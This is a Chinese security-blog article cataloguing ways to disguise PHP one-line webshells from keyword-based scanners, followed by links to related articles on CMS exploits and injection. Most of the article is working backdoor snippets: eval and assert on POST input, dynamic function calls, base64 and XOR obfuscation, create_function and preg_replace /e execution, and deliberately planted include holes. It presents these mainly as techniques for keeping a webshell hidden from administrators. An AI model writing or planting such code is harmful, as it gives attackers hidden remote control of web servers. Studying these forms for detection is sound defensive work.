PHP一句话Webshell变形总结

所属分类: 网络安全 / 脚本攻防 阅读数: 225
收藏 0 赞 0 分享

0×00 前言

大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.

0×01 字符串上的舞蹈

一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:

@eval ($_POST[xxxxx]);
很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用base64等编码函数来进行绕过

@$_GET[a]($_POST[xxxxx]);or

@base64_decode(base64编码过的eval)
当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.
另外大多数Webshell的查杀工具很少把assert函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用assert替换eval来执行猥琐的功能.
以前在ASP一句话Webshell的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用require,include等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个base64比较简单的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));
字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋 –__-!

0×02 利用PHP函数的一些特性

这一小段其实还是建立在玩转了字符串的基础上的,一个小例子
if(key($_GET)=='xxxxxx')call_user_func($_GET[xxx],$_POST[evil]);好吧,我承认这有点换汤不换药,这种类型的就是遇到WAF都挂b,因为基本上都是基于动态传入参数的,然后利用PHP函数换了个形式执行而已,最终还是调用eval,下面是一个小小的延伸
$x=create_function('',$_GET[x]); $x();再扫一眼PHP手册,我们在《高级PHP漏洞审计》读到过还有其他一些带有执行功能的函数,比如经常用的preg_replace加/e参数的黄金组合,这类一句话Webshell也算是比较常见的了.总结起来他们可以算作是人为的构造一些PHP代码上的漏洞.比如
$f=$_GET[x];include($f);这样构造一个包含漏洞出来,或者
$s= copy,movefile ; //…. etc$s(参数调用)比如copy($_FILES[t][src],$_FILES[t][dst]);利用一些文件操作函数来猥琐一些小动作,再或者来个preg_replace执行漏洞的经典例子
$t= prege_replace;$t("/[xxx]/e",$_POST[x],"Hah!~");这一方面能发散的地方还有很多,还是得多瞅瞅PHP手册,因为PHP的相关函数真是太猥琐了.

0×03 利用PHP的一些魔法特性

不知道能不能把PHP的多态性叫做魔法特性,错误之处还请指出.看过Ryat和Qz牛的文章后会更好理解,老外给过一个经典的例子

($_=@$_GET[2]).@$_($_POST[1]);and

$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");or
${'_'.$_}['_'](${'_'.$_}['__']);当然我们实际不会这么去写,因为管理员瞅一眼就明白你是要做坏事了.这其中也结合了移位运算等,算是写得很花哨了 – -~
经常用MVC之类的框架搞开发,都能发现__autoload函数的好处,自己文件名去new一个类,然后在类中你可以在构造函数做点手脚什么的,而这一类函数在PHP中也是有不少的,我们可以猥琐一下加以利用.
另外常见的ob_start等利用PHP函数的回调特性也是有的,其实觉得应该把这个分类放到上一小节,之前和wulin牛也讨论过这种方式加密过的马的解密,不过现在大多数Webshell查杀工具都应该把它加到关键字了吧.

0×04 未完结

我一直相信还有更加猥琐的方式等等,攻防对立,也可以参考 核攻击
大牛在其lcx.cc上发布的讨论怎么从一万多个文件中快速定位Webshell来见招拆招.引用黑防之前一句很装13的话作为结语:在攻与防的对立中寻求统一.欢迎更多同学加入讨论~ 

更多精彩内容其他人还在看

DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)

DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布) ,使用dedecms5.6的朋友可以参考下。
收藏 0 赞 0 分享

DEDECMS 爆严重安全漏洞 免账号密码直接进入后台

众所周知,因使用简单、客户群多,织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息:DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态。
收藏 0 赞 0 分享

常用的一些注入命令 方便一下大家

常用的一些注入命令 方便一下大家对自己的网站做下安全测试。不建议搞破坏。
收藏 0 赞 0 分享

IPC$ 扫描和IPC$漏洞的防范小结

IPC$(Internet Process Connection)是共享
收藏 0 赞 0 分享

aspcms企业建站系统0day漏洞介绍

aspcms企业建站系统0day 2.0以上通杀2011-08-14 19:21aspcms开发的全新内核的开源企业建站系统,能够胜任企业多种建站需求,并且支持模版自定义、支持扩展插件等等,能够在短时间内完成企业建站。
收藏 0 赞 0 分享

MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)

感谢各位的测试 , 下次再也不发垃圾脚本了,之前那个大家转走的都修正下吧 ,问题太多了. (几乎都没测试过)下面这个是我重新修改下的.
收藏 0 赞 0 分享

[PHP是世界上最好的语言] 不信你看这款PHP写的敲诈者木马

有个笑话:女的说,你们能让论坛上的人吵起来,我就做你女朋友。男的发了一句话:PHP是世界上最好的语言。瞬间论坛就炸锅了,女的说好吧,我同意了,咱们去吃饭吧。男的:不!我一定要说服他们PHP必须是世界上最好的语言。今天揭秘一个“最好的语言”编写的木马
收藏 0 赞 0 分享

前端安全之XSS攻击

这篇文章主要为大家介绍了基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击,需要的朋友可以参考下
收藏 0 赞 0 分享

记 FineUI 官方论坛discuz所遭受的一次真实网络攻击

这篇文章主要介绍了记 FineUI 官方论坛discuz所遭受的一次真实网络攻击,需要的朋友可以参考下
收藏 0 赞 0 分享

PHP类型网站的万能密码

说实话如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上是百分之百。
收藏 0 赞 0 分享
查看更多